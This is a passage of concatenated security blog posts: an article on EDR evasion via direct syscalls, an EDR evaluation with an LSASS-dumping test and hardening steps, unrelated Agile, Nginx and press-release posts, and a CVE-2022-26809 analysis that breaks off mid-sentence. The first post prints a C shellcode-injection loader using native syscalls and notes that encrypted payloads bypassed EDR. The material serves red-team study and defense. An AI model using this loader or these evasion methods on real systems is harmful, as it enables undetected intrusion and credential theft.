NtAllocateVirtualMemory PROC mov currentHash, 0C1512DC6h ; Load function hash into global variable. call WhisperMain ; Resolve function hash into syscall number and make the call NtAllocateVirtualMemory ENDP NtCreateThread PROC mov currentHash, 0922FDC85h ; Load function hash into global variable. call WhisperMain ; Resolve function hash into syscall number and make the call NtCreateThread ENDP ``` Let's take an example of injecting shellcode in a remote process. First, the malware creates a remote process (Handle) by using OpenProcess, then it needs to allocate memory (VirtualAllocEx) in order to write the shellcode into the remote process's newly allocated memory region with WriteProcessMemory. Finally, the shellcode is executed in the remote process by starting CreateRemoteThread. This is a simple flow of malware, and when we implement the use of syscall, the native equivalent syscalls of the Windows API are used. ![alt text](https://media.licdn.com/dms/image/D4E12AQEoAbGb_0NYIg/article-inline_image-shrink_1500_2232/0/1692191319814?e=1716422400&v=beta&t=fHN8vLcoBDE7RPwV0E2RRSlWfGKMEquw6s7zkByAJm8) Here is the baseline of code which utilizes the use of syscalls in this example. We also used SysWhisper2/3 to help us generate ASM/Header pair and compiled with Mingw and NASM assembler (on Windows use MASM instead). ```c #include #include #include "syscalls.h" int main(int argc, char* argv[]) { LPVOID pAddress = NULL; HANDLE hThread, hProcess; DWORD id; unsigned char payload[] = {0x8a, 0xb5, 0xaf,....."; SIZE_T payload_length= sizeof(payload); id = atoi(argv[1]); printf("PID: %i \n", id); OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) }; CLIENT_ID clientId = { (HANDLE)id, NULL }; NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId); NtAllocateVirtualMemory(hProcess, &pAddress, 0, (SIZE_T)payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); NtWriteVirtualMemory)(hProcess, pAddress, &payload, sizeof(payload), NULL); NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, pAddress, NULL, FALSE, 0, 0, 0, NULL); NtClose(hProcess); return 0; } ``` ## Observations Based on various experiments, we discovered that while direct syscalls can initially evade some EDR solutions, their detection rate has increased over time due to enhanced Indicators of Compromise (IOCs) and developments in EDR technology. Our findings also show that the shellcode created by meterpreter is highly detectable, while other open-source Command and Control (C2) frameworks, such as Sliver and Havoc, have shown to be more effective at evading detection. This method presented can be easily signatured. We can check the malicious functions using PEstudio. PEstudio is a powerful tool used for static analysis of PE files to identify potential indicators of malicious behavior and suspicious functions within executable files and DLLs. PEstudio may indicate a function or code segment as possibly harmful if it finds features often linked with malware or malicious behaviour. We can see our detected implant was using some suspicious API calls and also cryptographic functions that may be used to encrypt or decrypt malicious payloads. ![alt text](https://media.licdn.com/dms/image/D4E12AQEuOgHTyNlxXg/article-inline_image-shrink_1500_2232/0/1692191414955?e=1716422400&v=beta&t=FeLFB-Q-1Csw3CugbLk7OuOCpkTZI63WBWehbiw2heQ) We may use the another approach as previously to identify direct syscalls in use, whether it’s a PE/shellcode sliced out of memory or an executable dropped to disc. In the instance of a simple PE, we can perform this with only objdump and grep in the case of a plain PE. Hence, EDR could also look for the presence of syscall instructions. ![alt text](https://media.licdn.com/dms/image/D4E12AQH8_kkCHlQyqw/article-inline_image-shrink_1500_2232/0/1692191457368?e=1716422400&v=beta&t=e1ECNFZ1KRaX8tGYWYrk46Tn_68TBOAR4TiZYrAPm10) To enhance evasion capabilities further, we have explored combining multiple techniques, including shellcode encryption and other tricks like patching the limitations of direct syscalls (legacy instructions, egg hunting, etc.). By employing these strategies, we have successfully bypassed EDR detection in certain scenarios. However, we acknowledge that the landscape is continuously changing, and staying ahead of EDR advancements requires ongoing research and adaptability in our approach. ## Conclusion In conclusion, evading Endpoint Detection and Response (EDR) solutions is an ongoing and challenging endeavor. As EDR technology evolves to detect and respond to sophisticated attack techniques, red teamers and attackers still continuously discover and adapt their tactics. Personally, with all the theories covered, I am grateful for the invaluable insights shared by security researchers, whose dedication and knowledge have deepened my understanding of EDR's workings and evasion strategies. ## References - https://github.com/jthuraisamy/SysWhispers2 - https://github.com/klezVirus/SysWhispers3 - https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ - https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/ - https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low - https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html - https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/ - https://www.optiv.com/insights/source-zero/blog/endpoint-detection-and-response-how-hackers-have-evolved --- ### DIY Evaluation: Assessing Endpoint Detection and Response (EDR) Products for Your Security Needs URL: https://intuitem.com/dyi-edr-assessment-evaluation Published: 2023-06-12 Author: Tristan Bui In today's rapidly evolving threat landscape, organizations face the daunting challenge of protecting their endpoints against sophisticated cyberattacks. **Endpoint Detection and Response (EDR)** solutions have emerged as a critical line of defense, providing enhanced threat detection, real-time monitoring, and rapid incident response capabilities. Finding the best EDR solution for your company is never a simple task. With so many viable solutions available, it can be not easy to sort through them and choose the one that best meets your organization's needs. In this article, we will introduce some key considerations and methodologies involved in evaluating the effectiveness of EDR solutions which helps you make informed decisions to choose the new one or enhance the existing one’s capabilities. ## Beyond the Independent Third-party Research First, we come over to some popular resources for product research and review such as **Gartner** and **Forrester**. These industry studies can assist us in gaining a more thorough grasp of the products based on their research methodology and criteria such as product characteristics, strategy, market presence, and customer feedback to analyze vendor capabilities and strengths. However, it's important to remember that they should not be the sole basis for your decision because of lacking technical benchmarking and hands-on evaluations. One of the more trusted EDR resources is [MITRE Engenuity ATT&CK Evaluations (Evals)](https://attackevals.mitre-engenuity.org/) which is a process that applies a systematic methodology to capture critical context on a solution's ability to detect or protect against known adversary behavior as defined by the ATT&CK knowledge base. However, false positive results are ignored and MITRE does not rank the results of their EDR testing. ## Filling the Gap with Adversary Emulation In addition to relying on third-party research, organizations can utilize **red team emulation** as an alternative approach to determine the most effective Endpoint Detection and Response (EDR) solution. We can employ advanced attack techniques and evasion strategies to test the effectiveness of security controls, including intrusion detection systems, endpoint protection solutions, and incident response procedures. By simulating real attacks, we can assess how well the defenses detect, alert, and respond to malicious activities. This process helps in identifying blind spots and areas where improvements are needed. If you are already familiar with red team tools like **Cobalt Strike** or **Empire**, good news, you can go ahead to plan your engagement. However, in this blog, we are more focused to use the open-source tool [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) from **Red Canary**. _Atomic Red Team_ is an open-source library of tests that security teams can use to validate detection logic, generate telemetry, or otherwise emulate adversaries' techniques (all of which are mapped to [MITRE ATT&CK](https://redcanary.com/mitre-attack/)). By using this we can easily replicate, test, measure, and tailor which enables a better understanding of adversaries’ TTPs and how they’re actually used in the wild, and what’s really happening under the hood in every stage of an attack. | ![illustration](https://media.licdn.com/dms/image/D4E12AQGxdr0A3Nk4yw/article-inline_image-shrink_1500_2232/0/1686518455771?e=1718841600&v=beta&t=mVatJR2zJchMgOK8RnQqxgOrnON0EQ-_2bdjidSDiTI) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Source: MITRE Engenuity_ | #### Test case: T1003.001 - OS Credential Dumping: LSASS Memory We conducted atomic testing in our lab environment. - Windows 10 22H1 with Microsoft Defender for Endpoint (MDE) onboarded - Installed Atomic Red Team [Description from ATT&CK](https://attack.mitre.org/techniques/T1003/001) Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (**LSASS**). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct _Lateral Movement_ using Use [Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). LSASS contains valuable authentication data such as: - encrypted passwords - NT hashes - LM hashes - Kerberos tickets #### Atomic Test T1003.001-3 - Dump LSASS.exe Memory using direct system calls and API unhooking The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. Upon successful execution, you should see the following file created C:\windows\temp\dumpert.dmp | ![illustration](https://media.licdn.com/dms/image/D4E12AQHNcMDS6PkCEg/article-inline_image-shrink_1500_2232/0/1686518490174?e=1718841600&v=beta&t=MckCPrnw1hyLLTsH1ssGVXzkucP0gqZQinNqAgoF8z8) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Run Atomic Test_ | ### Detection Without any additional protection, MDE can detect suspicious access to the LSASS service | ![illustration](https://media.licdn.com/dms/image/D4E12AQGRp0PLvMQs2A/article-inline_image-shrink_1000_1488/0/1686518537153?e=1718841600&v=beta&t=QORpFQZQxvy7H9iVd4DIu88WbN_XS4nT1jqcxwm1_pA) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Detected by AV and EDR_ | | ![illustration](https://media.licdn.com/dms/image/D4E12AQHpzquEaPLe0g/article-inline_image-shrink_1500_2232/0/1686518651504?e=1718841600&v=beta&t=NFyGa2AcToZu_n92Bc4aVcTFh45t7yCmy2TpScVs0Io) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Alert on MDE Portal_ | ### Prevention To prevent threat actors from abusing LSASS memory dumps, we can consider the following methods to harden systems on devices further. #### Enable 'Local Security Authority (LSA) protection' Microsoft in Windows 8.1 and later has provided [additional protection for the LSA](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) to prevent untrusted processes from being able to read its memory or to inject code. Note that for new, enterprise-joined devices running Windows 11, 22H2, this protection will be enabled by default. To activate this protection you need to set the value **RunAsPPL** in _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA_ to 1 ```shell reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` #### Credential Guard **Microsoft Defender Credential Guard** uses virtualization-based security to isolate and protect secrets (e.g., NTLM password hashes and Kerberos ticket-granting tickets) to block pass-the-hash or pass-the-ticket (PtH) attacks. This function was released for Windows 10 Enterprise, Windows Server 2016, and after. When Credential Guard is active, the LSA process will communicate with a new component called the isolated LSA that is protected using Virtualization-based security and isn't accessible to the rest of the operating system. Credential Guard can be enabled through Group Policy, Microsoft Intune, or Registry. For example, we can use Group Policy to enable it manually by navigating to this path and choosing the Enable option. ```shell Computer Configuration/Administrative Templates/System/Device Guard ``` #### Enable ASR **Attack Surface Reduction (ASR)** is available for Windows 10 and higher, Server 2012R2, Server 2016, Server 2019, and higher. Block credential stealing from the Windows local security authority subsystem blocks untrusted processes from having direct access to LSASS memory (lsass.exe). We can enable ASR rule by using Intune or [Powershell with GUID](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?source=recommendations&view=o365-worldwide#block-credential-stealing-from-the-windows-local-security-authority-subsystem): 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 ```shell ## block mode Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled ``` ### Result With ASR activated, it is not possible to dump the credentials using tools or the Task Manager. | ![illustration](https://media.licdn.com/dms/image/D4E12AQHRh0OBEICU4Q/article-inline_image-shrink_1500_2232/0/1686518767049?e=1718841600&v=beta&t=bPBSMVnGr8SB-79RZ374IjqJlDU33GF0pzfrqx7Ehko) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Dump LSASS memory using Task Manager_ | Back to the Atomic Test, it will fail to execute. | ![illustration](https://media.licdn.com/dms/image/D4E12AQHL0XWwyYdLjg/article-inline_image-shrink_1500_2232/0/1686518805897?e=1718841600&v=beta&t=3T6YjL2R90a_g9k0Fo7v_s6gBjc-D2NI1FSQEubZ9zw) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Running Atomic Test failing_ | Relevant telemetry is collected in Event Viewer | ![illustration](https://media.licdn.com/dms/image/D4E12AQGP5PEqmnqYEQ/article-inline_image-shrink_1500_2232/0/1686518970811?e=1718841600&v=beta&t=Wk7TdHHlmRjtFDotBw3tYRywQkirwNJIRHcyK-CVhqE) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Blocked rule in Event Viewer_ | Finally, we can query ASR rules events from the DeviceEvents table in the advanced hunting section of the Microsoft 365 Defender portal. | ![illustration](https://media.licdn.com/dms/image/D4E12AQHlLCy04D3d0A/article-inline_image-shrink_1000_1488/0/1686519016165?e=1718841600&v=beta&t=XE1hWjZLXIkTiq7HHgiz7BqW5k8KgazkXfs9eXmcMsM) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | _Query to view all events which are blocked by ASR rule_ | While each method individually provides a level of protection against LSASS dumping attacks, we encourage to use of the combination of these preventive measures along with tamper protection to create a layered defense approach. This strategy can provide both proactive prevention and real-time detection of EDR products against the risk of credential theft. ## Conclusion We hope that article has given you some ideas for assessing the capabilities and efficacy of your security endpoint products in real-world scenarios. We also demonstrated the walkthrough of some observations on Microsoft Defender for Endpoint by using Atomic Red Team techniques. In closing, it is crucial to understand that the evaluation should not be limited to technical aspects alone. Engaging with vendor support, and considering the long-term viability and roadmap of the product are equally important factors to consider. Endpoint Detection and Response (EDR) solutions are integral components of a comprehensive security strategy, but they should be combined with preventive measures for maximum effectiveness. The combination can create a resilient security posture, protecting critical assets and enabling effective detection and response to sophisticated attacks. ## Reference - https://github.com/redcanaryco/atomic-red-team/ - https://attackevals.mitre-engenuity.org/ - https://github.com/outflanknl/Dumpert - https://www.crowdstrike.com/blog/how-to-test-endpoint-security-with-red-teaming/ - https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/ - https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-how-it-works --- ### Mira v3 : communiqué de presse URL: https://intuitem.com/communique-presse-mira-v3 Published: 2023-04-03 Author: Abderrahmane Smimite ## intuitem dévoile la version 3 de sa plateforme de gestion des risques cyber "MIRA" lors de la 15ème édition du FIC. > Lille, le 5 avril 2023 : intuitem, une startup innovante dans les services et produits visant à simplifier la cybersécurité, annonce aujourd'hui le lancement officiel de Mira v3. Il s’agit de sa plateforme de gestion de risques cyber particulièrement pensée pour avoir une approche de bout en bout. Disponible en version « SaaS » ou « on-premises », Mira convient aux usages des petites et grandes entreprises et offre des capacités de personnalisation pour s’adapter à leurs besoins spécifiques. Mira v3 se distingue par une interface intuitive retravaillée et des fonctionnalités avancées, permettant aux entreprises de toute taille d'identifier, évaluer et gérer les risques et remédiations liés à leur système d’information. Cette nouvelle version inclut des améliorations significatives, développées en réponse aux retours des utilisateurs, pour offrir une expérience utilisateur optimale et une productivité accrue. Pour en savoir plus sur Mira v3 et profiter d’un essai gratuit, rendez-vous sur : [intuitem.com/mira](https://intuitem.com/mira) Dans la continuité de son engagement sociétal, intuitem propose la solution Mira gratuitement aux organismes de santé, d’éducation et à but non lucratif. A propos d’intuitem : intuitem est une société française spécialisée dans le cloud, la cyber-sécurité, et la transformation numérique. Nous proposons des produits et services pour aider nos clients à mieux gérer la complexité croissante des systèmes d’information grâce à des solutions simples, durables et économiques. Visitez [intuitem.com](https://intuitem.com) pour en savoir plus. --- ### 7 reasons why "Agile" is dying (and why it's a good thing) URL: https://intuitem.com/7-reasons-agile-is-dying Published: 2022-10-28 Author: Abderrahmane Smimite **B**ased on personal experience, research, and a lot of intense discussions with fellow agilists and people involved in Software Development, here is a summary of what I believe is broken about the current state of Agile (yes, the marketing noun with the capital A) that I have tried to illustrate through real-life examples. I promise that this is not just a microwaved version of Dave Thomas's 2015 talk, which you should definitely check 😊 Let's dive in: 1. It's becoming more about methodologies rather than common sense core values: most likely, when you've read Agile, you were thinking about Scrum, kanban, SAFe, etc., rather than the Manifesto for Agile Software Development, the X over Y pattern, and why it was created. _Anti-pattern: Our team is agile because it does grooming sessions, sprint reviews, sprint planning, and sprint retro._ 2. It's becoming more about tools rather than why we use them. It must be more than just filling some exotic Jira fields that someone who's not even on the project anymore copied from somewhere on the internet. _Anti-pattern: The issue is that we need an extra field to track this on Jira, add more steps to the workflow and buy this plugin to create an adaptive view. Scratch that; what's blocking our agility is that we don't have the right to create a new Jira project._ 3. It's becoming more about packaging software delivery into something controllable and understandable by the exec level: how much does it cost for 5 kilos of Story points? We have been twisting concepts such as commitment and ownership for a while now. _Anti-pattern: The transformation office has noticed that on the last PI, predictability has dramatically decreased, which means that the Teams are not Agile enough._ 4. It has become a well-established industry that has drifted toward collecting (and renewing!) certifications and badges on LinkedIn rather than going through the actual practical iterations. Don't get me started on McKinsey and other big consulting companies. It's ok to make a living out of Agile, I am a consultant myself, but this mayhem and noble concepts distortion have to stop. _Anti-pattern: The performance issue we face is because the design team did not go through SAFe for Architects._ 5. It has become chiefly this weird trend about branding projects and organizations as modern and state-of-the-art without being willing to go all the way to apply the principles across the whole organization, especially with "Agile @Scale." _Anti-pattern: We hired Agile coaches. They are the new managers; accordingly, you must obey them from now on. The company will use sprint metrics to monitor productivity and team efficiency. Also, the project managers are now the scrum masters for department A and the Product Owners for department B._ 6. Agile becomes mostly about speedy, broken MVPs rather than actual working software. Yes, we need to experiment fast but let's call it just that, an experiment, proof of concept, proof of value, or whatever you are comfortable with instead of shipping non-quality in the name of agility. _Anti-pattern: sure, this microservice could break with ten users. We're not sure, it was not tested, but it should be enough for v1 (yes, usually in the passive voice). We need to be Agile to meet Time To Market requirements._ 7. Some teams refuse to adapt to new factors and adjustments in priorities in the name of Agile. Some typical sentences are within the lines of "it doesn't fit with this sprint or this PI, it has to go through sprint grooming and planning sessions, we cannot work on unscored topics, etc." I get the motivation behind that, but the narrative is often wrong and associated with a poor choice of wording. _Anti-pattern: Sorry, security team, we cannot handle the findings of the pentest. We need to ship these almost-done features in the next 4 to 6 months, and we'll have time then to recover this technical debt._ The TL;DR version is that I believe that what companies and teams are perceiving today as "Agile" has drifted away from its core values toward tools, ceremonies, metrics, and prepackaged concepts, which contradict the initial intent. In the grand scheme of things, I believe it is a good thing as all of this is just a big iteration: kanban, scrum, scrumban, SAFe, etc., all are experiments that just happened to last a bit longer than expected. What matters now is where we can take it from this point and shamelessly learn from what didn't work. Here are some random thoughts on how you can "denoise" your workflows: Start by unlearning "Agile" and review the agility values. These values are pretty straightforward, so don't over-engineer it: identify value, build through small incremental steps, make sure that your design choices can evolve in an optimal way, learn from previous attempts, and repeat (aka the late 50's PDCA principle) Context matters: Agility is not a one-size-fits-all recipe, and you need to adapt it to your project/product/organization. There are good things to cheery-pick from the existing frameworks, methodologies, and tools. Agility is the most efficient when understood and adopted across the whole organization. Always keep an open mind for uncertainty and unexpected events to adapt and possibly even thrive. Bonus: if you hear a big company promoting a "packaged" Agile transformation Office or Program, just Run! Some good references: - Agile & Scrum Don't Work | Allen Holub In The Engineering Room Ep. 9 https://www.youtube.com/watch?v=hxXmTnb3mFU - https://medium.com/agileinsider/agile-is-dead-mckinsey-just-killed-it-547df8c6c9df - https://www.youtube.com/watch?v=a-BOSpxYJ9M - https://effectivesoftwaredesign.com/2014/03/17/the-end-of-agile-death-by-over-simplification/ --- ### Nginx rewrite rules - the easy way URL: https://intuitem.com/nginx-rewrite-rules Published: 2022-10-19 Author: Abderrahmane Smimite **U**nlike other posts or articles that I'm used to sharing, this is not about Cyber Security, Product Management, Agile practices, or data. It's just something that I've spent some time on recently, and I thought it could save someone some valuable time. Nginx (or Apache) has powerful URL rewrite capabilities that can simplify your migrations. You might want to take a look at it as it could ease it up. As part of website/web app migration, we often have to handle two main challenges: - Updating the main website URL, which primarily consists of DNS changes. As long as you're not dealing with CNAME entries on the APEX domain using a provider that doesn't support DNS flattening, you should be fine. - switching URL schemes to adapt to a new format, for instance, redirecting `/posts?id=123` to `/articles/123` A well-established web server can handle the second aspect. But before diving in, you should consider the effort versus the impact and if it is worth it for your case. Basically, it's about: - Search engine bots previously indexed paged, sending potential 404 errors and degrading your SEO effort. - Users that are used to specific patterns or bookmarks could get confused or lost with this change. If these concerns apply to your case, having Nginx as a proxy can be very handy. The official documentation available here is a good start. If you're in a hurry, here are the five main things to consider: - There are multiple directives; rewrite is the most flexible and comprehensive one. - Rules are scoped to a specific location within a specific server. You could have everything at /, but splitting can be pretty convenient. - Rewrite supports regex in its basic flavor. I usually experiment with Python or regex101 before applying anything. - Nginx processes the rules sequentially, so the order is essential. Be cautious but also use it wisely to simplify complex cases (e.g., having garbage-collector rules after specific ones) The most common patterns are: -  `/section/(.*)/product_(.*) /new/catalog/$2 ;` if the key is part of the URL and you want to redirect /section/health/product_123 to /new/catalog/123 - ` /section/directory(.*) /section/directory/$arg_user? ;` if the key is an argument and you want to redirect /section/directory?user=albert to /section/directory/albert/ ; nginx has built-in `$arg_` variables. And that's it! Fly now and rewrite the world! --- ### CVE-2022-26809: dynamics around the security community, Microsoft, and analyzing patches in critical Windows components URL: https://intuitem.com/cve-2022-26809 Published: 2022-08-23 Author: Adam Hacham, Hector Fétis After our previous work on CVE-2022-30190, also known as Follina, we decided to look for other vulnerabilities to analyze. It is well known to anyone that follows Windows security that the second Tuesday of each month is special. It has been dubbed "Patch Tuesday" by Microsoft, as they have been releasing important security patches in bulk on that day since 2003, and so we decided to have a look at the release notes for the last few patch Tuesdays and pick the vulnerability that would stand out as the most interesting. We quickly settled on [CVE-2022-26809](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26809), which is a vulnerability in the [DCE/RPC runtime](https://en.wikipedia.org/wiki/DCE/RPC) and presents multiple points of interest: - It was disclosed in April, which makes it not too old - It has a CVSS score of 9.8 out of 10, making it critical - It should be exploitable form the network with no interaction from the user and no prior privileges - The attack complexity is low - DCE/RPC is critical for Windows, especially in Active Directory environments - Despite this terrific scoring and metrics, there are no known proven exploits Our initial goal was therefore to understand the vulnerability and find or produce a working exploit to then propose counter measures that would have prevented exploitation of the vulnerability as a 0-day, as we did with Follina. We did not manage to produce a working exploit in a reasonable time. CVE-2022-26809 still remained a very valuable study as it shed a light in the dynamics between the Cybersecurity research community and Microsoft. In this article, we want to share our journey to analyze the vulnerability and what it has shown on that dynamic. ### Looking up existing work on CVE-2022-26809 There are indeed very few publicly available studies of the CVE, but still, a few stand out and were very helpful in our study: - The [l1nk3dHouse blog](http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/) has an extensive analysis of the patch, with a proof of concept on [GitHub](https://github.com/yuanLink/CVE-2022-26809). - HuanGMz has a much more consise article on the CVE on the [Seebug blog](https://paper.seebug.org/1907/), which references the same proof of concept. - s1ckb017 have released a very detailed analysis on their [blog](https://s1ckb017.github.io/2022/06/17/CVE-2022-26809-Server-Side-vulnerable-point-reachability.html). - Corelight have released an [explanation of the vulnerability](https://corelight.com/blog/another-day-another-dce-rpc-rce) along with a [Zeek](https://zeek.org/) package for detection and prevention. - Marcus Hutchins has released a [video](https://www.youtube.com/watch?v=GGlwy3_jVYE) summarizing his reverse engineering efforts and methodology. - The SANS institute has released the [replay of a live](https://www.youtube.com/watch?v=fQ06VUq3kd8) during which they reviewed what was known of the CVE shortly after its disclosure. These publications all relied on reverse-engineering efforts to understand the patch and uncover the vulnerability from there. They identified multiple interesting changes which exhibited two different potential attack vectors in the the rpcrt4.dll RPC runtime library. - The first, and most discussed one, is a potential buffer overflow when an RPC service with specific parameters reassembles fragmented PDUs - The second one, discussed latter by l1nk3dHouse and HuanGMz and addressed by Corelight, is a potential integer underflow in the runtime when a specific maliciously crafted PDU is received by an RPC client. The second one seemed the most promising, and so we decided to focus our efforts on it. ### RPC basics RPC, or remote procedure call, refers to protocols that implement an abstraction which allows processes to call procedures from other processes. It may be used as an IPC protocol on the same machine (inter process communication), or even over the network to provide various services. Microsoft uses the [DCE/RPC RPC specification](https://pubs.opengroup.org/onlinepubs/9629399/chap1.htm), implemented under the name [MSRPC](https://en.wikipedia.org/wiki/Microsoft_RPC), and heavily relies on it to provide core functionalities of Windows and Active Directory environments. We will be referring to DCE/RPC as RPC from this point onwards for simplicity's sake. RPC is an application layer protocol that sits on top of a transport layer protocol which may be SMB, TCP or HTTP, among others. DCE/RPC focuses only on providing the RPC logic and so the underlying transport protocol is responsible for providing security features like confidentiality or authentication. RPC can still require specific security features to be present and can carry security related information like tokens. During our testing, we forced the use of [SMBv1](https://en.wikipedia.org/wiki/Server_Message_Block#SMB_1.0) as the transport layer in our testing environment as it has the good taste of not using encryption, which is ideal for debugging purposes. The Windows RPC logic is implemented by the C:\Windows\System32\rcprt4.dll library, and this library is what was apparently patched as a mitigation against CVE-2022-26809. Two features of RPC are especially relevant to CVE-2022-26809, which we will take the time to explain in the following two sub-sections. ### Establishing bindings RPC is a complex protocol that supports both session-full and session-less communication. Establishing a session is done by setting-up a "binding" between the client and the server before the client starts to make calls. The client requests the binding to be established by sending a bind PDU, to which the server shall respond a bin_ack PDU if all goes right, or bind_nak if the binding is refused. The connection can then proceed by either making further changes to the context, or simply making calls. An example binding process is shown on Microsoft's [MSRPC documentation](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/543b0019-e8ea-4b58-b4d5-324fd692966d) and in [Wireshark](https://www.wireshark.org/): | ![illustration](https://media.licdn.com/dms/image/D4E12AQGJW4IB6Ypauw/article-inline_image-shrink_1000_1488/0/1661202926375?e=1718236800&v=beta&t=D7VTwhaPnYXAojbf9DYnnYpAWgkDm3hSkGz98FGdllA) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | ![illustration](https://media.licdn.com/dms/image/D4E12AQE5OWh_VjD0SA/article-inline_image-shrink_400_744/0/1661202721475?e=1718236800&v=beta&t=Nyi9QGtU_Q2WdkKQaImAFHXEElfZQV42JGh3Wx23bfM) | | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | The reverse engineering efforts of the community have tracked down changes to the OSF_CASSOCIATION::ProcessBindAckOrNak() function, which is responsible for handling the server's response to the bind PDU on the client side. If we want to have any chance to trigger a vulnerability within this function, we therefore need to find a way to make our victim connect to a malicious RPC endpoint that would send a malicious payload. #### Multi PDU transmissions and fragments RPC also supports splitting up large transmissions into multiple PDUs (fragments). Flags are reserved in the common PDU header to let the receiving side known it should expect more PDUs to come and will need to reassemble everything before processing anything. The RPC specification gives a clear definition of the bind_ack PDU mentioned earlier, including the common part: ```c typedef struct { /* start 8-octet aligned */ /* common fields */ u_int8 rpc_vers = 5; /* 00:01 RPC version */ u_int8 rpc_vers_minor ; /* 01:01 minor version */ u_int8 PTYPE = bind_ack; /* 02:01 bind ack PDU */ u_int8 pfc_flags; /* 03:01 flags */ byte packed_drep[4]; /* 04:04 NDR data rep format label*/ u_int16 frag_length; /* 08:02 total length of fragment */ u_int16 auth_length; /* 10:02 length of auth_value */ u_int32 call_id; /* 12:04 call identifier */ /* end common fields */ u_int16 max_xmit_frag; /* 16:02 max transmit frag size */ u_int16 max_recv_frag; /* 18:02 max receive frag size */ u_int32 assoc_group_id; /* 20:04 returned assoc_group_id */ port_any_t sec_addr; /* 24:yy optional secondary address * for process incarnation; local port * part of address only */ /* restore 4-octet alignment */ u_int8 [size_is(align(4))] pad2; /* presentation context result list, including hints */ p_result_list_t p_result_list; /* variable size */ /* optional authentication verifier */ /* following fields present iff auth_length != 0 */ auth_verifier_co_t auth_verifier; /* xx:yy */ } rpcconn_bind_ack_hdr_t; typedef struct { u_int8 n_results; /* count */ u_int8 reserved; /* alignment pad, m.b.z. */ u_int16 reserved2; /* alignment pad, m.b.z. */ p_result_t [size_is(n_results)] p_results[]; } p_result_list_t; ``` The request PDU share the same common part, but has a different body (note the additional alloc_hint field): ```c typedef struct { /* start 8-octet aligned */ /* common fields */ u_int8 rpc_vers = 5; /* 00:01 RPC version */ u_int8 rpc_vers_minor; /* 01:01 minor version */ u_int8 PTYPE = request ; /* 02:01 request PDU */ u_int8 pfc_flags; /* 03:01 flags */ byte packed_drep[4]; /* 04:04 NDR data rep format label*/ u_int16 frag_length; /* 08:02 total length of fragment */ u_int16 auth_length; /* 10:02 length of auth_value */ u_int32 call_id; /* 12:04 call identifier */ /* end common fields */ /* needed on request, response, fault */ u_int32 alloc_hint; /* 16:04 allocation hint */ p_context_id_t p_cont_id /* 20:02 pres context, i.e. data rep */ u_int16 opnum; /* 22:02 operation # * within the interface */ /* optional field for request, only present if the PFC_OBJECT_UUID * field is non-zero */ uuid_t object; /* 24:16 object UID */ /* stub data, 8-octet aligned . . . */ /* optional authentication verifier */ /* following fields present iff auth_length != 0 */ auth_verifier_co_t auth_verifier; /* xx:yy */ } rpcconn_request_hdr_t; ``` Some fields of the request are especially important, including: | ![illustration](https://media.licdn.com/dms/image/D4E12AQGtxjXAndiPQA/article-inline_image-shrink_1000_1488/0/1661203261257?e=1718236800&v=beta&t=KIuUy4N4BWVbhZV3wW7Y_HB2UYdrH0SAkcCsGZRtmJc) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | If the minor protocol version of a bind, bind_ack, alter_context, alter_context_response, request or response PDU is set to 1, the PDU may be part of a fragmented transmission. This lets those PDUs include trailing authentication, request or response data of arbitrary size. In practice, the first fragment will have the PFC_FIRST_FRAG set without PFC_LAST_FRAG, subsequent fragments will not have either, until the final one which will include PFC_LAST_FRAG. If a communication only requires a single fragment, both flags are set for said fragment. Patches have been identified in the ProcessReceivedPDU() and GetCoalescedBuffer() methods, hinting at a potential incorrect handling of multi-PDU transmissions before the update. ### The ProcessBindAckOrNak() patch #### PetitPotam As explained in our RPC summary, CVE-2022-26809 may involve an incorrect handling of bind_ack packets in OSF_CASSOCIATION::ProcessBindAckOrNak(). The problem being that this method is only relevant when the vulnerable machine acts as a client in a connection. In order to properly weaponize a vulnerability in the method, one would therefore need to force the a victim into connecting to a malicious host as a client. In his blog post, L1nk3dHouse proposes a rather elegant way to achieve the connection using 